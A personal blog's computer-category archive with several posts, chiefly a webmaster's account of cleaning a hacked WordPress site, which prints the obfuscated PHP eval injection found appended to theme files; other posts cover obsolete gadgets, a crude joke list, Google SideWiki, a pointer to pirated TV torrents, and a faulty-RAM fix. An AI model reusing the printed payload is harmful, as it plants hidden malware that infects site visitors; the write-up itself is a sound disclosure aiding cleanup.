Category Archives: Computer

A Tojan of the name JS.Iframe.as going to osa.pl

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This is only the second time that one of my site was hacked – not bad for how long I am doing this type of stuff.

Took me a while to recover, because, amongst other things, the location of my server had changed due to a data-center consolidation. So, it was not quite that easy to know why things were going wrong – was it the hack or was it some configuration problem with the new IP?

But eventually, all turned out fine and the site is working properly again. As I looked around the net quite a bit and could not find a good solution, I thought I share my findings here in the hope that it might help another soul at some time.

First indication was a report from a message board having deleted a link to the site in question that it was distributing malware. I had not seen anything wrong and my anti virus stuff never told me anything, so the first reaction was to disregard it. But then suddenly I got a message from AVast that it had blocked a bad-bad URL. Now I knew something was wrong. The bad URL was a random subdomain on the top-level  “osa.pl” – but a grep over the site did not bring anything about osa or .pl. Then I received another report from my VPS host that this was the JS.Iframe.as trojan.

Not much luck on the net finding info how that might look on infected web sites so that I could start trusty old grep.

Looked a lot through the database dump for clues – forgot to tell, this was a site with a wordpress blog used as CMS – no luck!

Ended up swapping out all the WP code, and updating php to 5.3.8 because some of the info I had found about the osa.pl were indicating that a vulnerability in the 5.2.17 I ran, were at fault. None made a difference. I had disabled all plugins – that did not make a difference either – where else could it be?

Finally the good idea came and I should have looked there first: a diff over the theme I was using with a different installation that used the same theme, finally gave a long list of differences in a few files – mostly index.php, header.php and footer.php – the code added to the end of these files was:

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0Zupm
VRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1Zzk
FcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2
...and so on
= "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBc
VSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBc
VSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>
Removing these lines from the end of the theme filed did the job. Then I obviously changed all the file permission to not allow apache to change those files any more.

Last decree was to change the password of the owner of the site and reduce him from an admin to an editor – and tell him to scan his computer.

Now I just have to send him an email with his new password.

Hope this might help somebody sometime.

Obsolete Technology – yesterday – today – tomorrow

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I ran into this video teaching us how to use a dial telephone…

… and that got me to think.

From today’s point of view, this is obviously funny, but I tried to imagine what things that we consider high-tech today will look really funny to my son when he is my age.

Speaking of my son, I have noticed one piece of technology I grew up with that he already has no personal experience with: the tick-tock of a clock. He might still know that a clock in the distant past did make such a sound, but he has never heard it himself.

Or the first super-high-tech wrist watch I had – with red LED segmented numbers. These LEDs used so much power that I had to switch them on – and off right away – to see the time. Very inconvenient at a party where you were fondling a glass of whiskey on the rocks, trying to look as cool as your watch. Very uncool to put the glass down just to push the little button on your other wrist and realize that, after two hours of looking cool, you still didn’t have the nerve to talk to the cute brunette.

So, what’s the item with the biggest cool factor today? Maybe tablets like the iPad. I believe this is a good candidate to look ridiculous in 20 or 30 years. Imagine you’re lugging around a book-sized slate – just like Moses did when he came down the mountain – only to access some information, or look up an address. Tomorrow you simply say your search term into the ether and the information materializes right in front of your eyes, or even better, you just pose the question in your mind and the answer is directly delivered to your own synapses via a synaptic interface – – – who needs eyes – – – maybe we have them closed at all times as all the experiences we have are virtual anyway. While we experience a rich virtual world, our bodies are securely stored and fed through some tubes while at the same time acting as a power source for the computer system that runs the whole virtual world, and ….  hold on, doesn’t that sound somehow familiar?

Breast Smilies

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In the beginning of the World Wide Web, transferring data was slow and costly, so methods were devised to minimize the amount of data transmitted and still convey the message.

One of the results was the ‘Smiley’ – an icon consisting of only a few characters and thus very cheap and fast to transmit. The added advantage was that with just three characters you could indicate that you were smiling  🙂  or frowning  🙁  instead of writing a little novel to express that this was your emotion when writing an email or quick instant message.

Since then, bandwidth has become a lot cheaper, and the reason to reduce the amount of data is not that relevant any more. But in our illiterate times, it is still necessary for many people to have the means to simply express if they are saying something humorous or threatening…

  • I’m going to kill you  🙂
  • I’m going to kill you  🙁

Obviously, specialized areas of the WWW thought that they require such symbology as well, and today we show you one area where such iconography was very successfully implemented – in the description of the female breast – a never-ending interest of the male population.

Without further ado, here are your breast smileys…

Perfect Breasts
Fake Silicone Breasts
Perky Breasts
Big Nipple Breasts
A Cups
D Cups
Wonder Bra Breasts
Cold Breasts
Lopsided Breasts
Pierced Breasts
Hanging Tassels Breasts
Grandma Breasts
Against The Showerdoor Breasts
Androids Breasts
Martha Stewart Breasts

Will Google SideWiki be Censored?

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(Update: unfortunately, SideWiki died pretty soon. I can imagine that just too many complaints had come in from site owners who did not want links to the opposite site showing up to visitors to their site. I can see that this feature had quite some potential for misuse, but still sad to see it die. It had the one obvious fault of not being decentralized, which any disrupting service, like torrents, has to be.)

Today was an exciting day for me.

A few years back I realized that something was missing on the World Wide Web, something essential – commenting without the consent of the site owner.

There are many websites – including this one here – that allow comments on all articles. But these comments are definitely censored because the site owner can easily delete comments he does not like. Good websites will not misuse this power and allow opposition and controversy to stand, even though spammers and pure nuisances will be removed.

But imagine a site like that of the IRS. Could you imagine what the comment section of this site would look like if only spammers and flamers were removed? Could the site speak of its ‘service’ and still be credible if you could read thousands of comments describing incompetence, evil, and injustice?

That is where I started to plan a system that would allow – through a toolbar widget or similar – to attach comments to any website. One of the basic features of this mechanism would have to be that it could not be shut down centrally, but instead would have to be a distributed system where a part that went down would be replaced immediately by a redundant site on the other side of the planet – a kind of SETI for accountability.

I talked to some potential partners, as this was too big a project for a single fighter, but have to admit that I failed to get it off the ground.

Today I read about Google SideWiki! Could this be what I had felt was missing? Could this be the one feature that would keep people away from the dark side of the force?

The fact that it is Google is definitely a disadvantage, as Google has been bullied into doing things that were against the early mantra of ‘Do No Evil.” Let’s just hope for the best.

Besides hoping for the best, there is a nice test in progress that investigates the freedom of speech and opinion of this new feature. Somebody posted a pretty nasty post right on the main page of the IRS’s site, wondering how long it will be there. Let’s all go there and observe.

The post is not a nasty post in itself; it is just something that I could imagine the site owner would not want to be on his site. It talks about so-called tax protesters and gives the website of one of the more grounded protagonists. In all fairness, this post also mentions a site run by – probably – tax attorneys chastising the whole bunch of cooks calling themselves the tax honesty movement. But then again, we are talking about lawyers here, and others dealing in taxes. This is a group that probably loves the system as it feeds them.

This post goes even further and introduces the philosophy site Free Domain Radio, which introduces the idea of a society based on voluntary interaction instead of a government-run bureaucracy that is backed up by violence, claiming a monopoly on the initiation of violence.

I will certainly keep an eye on the IRS website to see if this article disappears. If this post stays up, that would be akin to the Wikipedia entry for the IRS containing a section about the tax honesty movement, the legal theory that the tax law as written might not apply to most Americans, and thoughts on how society could work perfectly well without an IRS and a central government.

The IT Crowd – Revisited

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Cory Doctorow of boing-boing introduced me — and I believe a whole bunch of other boing-boing readers — to the BBC comedy series “The IT Crowd,” from which I learned the most important lesson for all IT work: “IT – – have you tried to turn it off and on again?”

In the beginning, Cory had been very good at reminding us all to check the torrents whenever a new show had aired. Poor people outside the UK had to resort to that sort of piracy as the BBC online viewing was confined to the UK.

After quite a bit of a hiatus after the end of the second season, I was ready for my third season, and I immediately found the first show of season 3 and enjoyed it immensely.

But, Cory, either I did not read Boing Boing with enough attention, or you slacked off — fact is, I did not learn of the release of the following episodes.

Finally, I remembered the other day; went ISO hunting and found out that the third season was already over. Sad in a way, but good in another because there was a torrent with all six episodes in one file.

Believe it or not — I had an IT Crowd marathon that night, and it was so good that now I am revisiting the first two seasons again. For all of you, to save you the searching, here are all three seasons in one place…

Update 2026: The torrents I had linked here were not working anymore – who would have guessed after so many years? But the info was outdated anyway; there was a fourth season (unfortunately no more), and they should be easy to find on The Pirate Bay.

Does this Blog have a Theme?

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I sometimes ask myself if this blog has a theme – and I usually come up with the result that it does not, at least not in the way that internet marketers, bloggers, and SEOs define it.

It certainly has the theme of showing all the things that irk or interest me – but I suppose that is a category that is only relevant to me.

Now I got reminded again through Steve Pavlina’s blog article “How to Make Money From Your Blog” that, in order to be able to monetize a blog, it needs some kind of focus on some niche. Does that mean that I will never be able to monetize this blog, which has a pretty good search engine ranking?

So far I have used this resource of good standing with Google to tell the search giant to come by and take a look at a site that I needed to get indexed quickly. One of these sites was our tie-dye clothing site ThaiDye.com (Edit 2026: pretty much dead) that, whenever I mentioned it here on this blog, gets a visit from Mr. Google the next day.

With a site as broad as this – I mean what could be broader than all the things that irk me? – I probably have to do it the other way around – get a real niche site going very strong and then this can drive traffic to my catch-all site here. And then I might actually be able to monetize this site – huh, maybe…

I hope that Google is really not evil

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Did this ever happen to you…

The first time I had this happen to me, I have to admit, it was rather creepy. But since then I got so used to it that I hardly ever notice the Google guy standing in my living room.

The only times I do still get a bit freaked out is when I look for this kind of amateur two-some, and the Google guy enters my bedroom. But I think in just a few weeks, I will also be used to that.

I remember it was Mel Brooks in his movie Space Balls who invented this kind of concept. Watching a movie about one’s own situation and then fast-forwarding to find out what will happen. Wonder if Google pays Mel Brooks some kind of intellectual property fees?

ntfs.sys corrupt – Don’t believe Microsoft!

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I had one big scare this morning after booting up my HP laptop. I just had to check something before breakfast, then did my morning routine of taking a shower (yes, I do this once in a while!), easting my breakfast, sending the wife to work and beating the kid (for all you people from child services – I am kidding!) and went back into my office, only to find the screen displaying the terrifying message

Windows could not start because the following file is missing or corrupt
C:\windows\system32\config\system

You can attempt to repair this file by starting windows setup using the original setup CD-Rom.
Select “r” at the first screen to start repair.

I know you Mac user are now just giggling but I had such a scary message on a mac as well a while ago. There it was something that I only got the text prompt to log in and no graphical user interface. I like the Mac and am actually thinking of switching to it, but this specific point is not one to snicker about.

Obviously the first thought is “When did I back-up last?” and I was not too bad in this department. I would have lost some bit but not too critical.

OK, so it was finding a disk with XP Pro. Could not find the one with XP SP2 but I thought it would do. Pop it in and restart but after a while, instead of getting to the screen where I may type that ‘r’ I get a message

ntfs.sys corrupt – can not continue

or something to this effect. How could this be?? I am booting from a CD but to make sure I find another CD and try this one, with the same effect.

NOW WHAT?

Thoughts of evil-doing hackers enter my mind. I had this computer temporarily put in the DMZ of my router because this was the only way I could get bit torrent to work at a decent speed, but it still did not make too much sense because – I am booting from a CD!!

Maybe the installation looks for an existing OS on the drive and gets so confused by some nasty hackers droppings that it goes to heaven? And I still can’t find my CD with an XP Pro SP2.

Now thanks to Google – after booting up another computer – and some inspired searching I find a hint that this might be a memory problem – somebody had solved his problem by changing a memory module.

That’s definitely worth a try. Out comes the screw driver, the laptop flips over and is gutted from it’s memory. First attempt to just swap the two modules. There is a change, the computer error-beeps on startup, but still the message that this essential system file is missing.

Now the process of elimination – which is not too involved with only two memory modules, and we have the culprit…

broken memory module

Now I am writing this with a computer with only half a gig, but I have to say, I don’t really notice the difference – maybe if I want to start up photoshop and illustrator at the same time.

But not a problem, it will be a trip to the computer store and just get another one of those.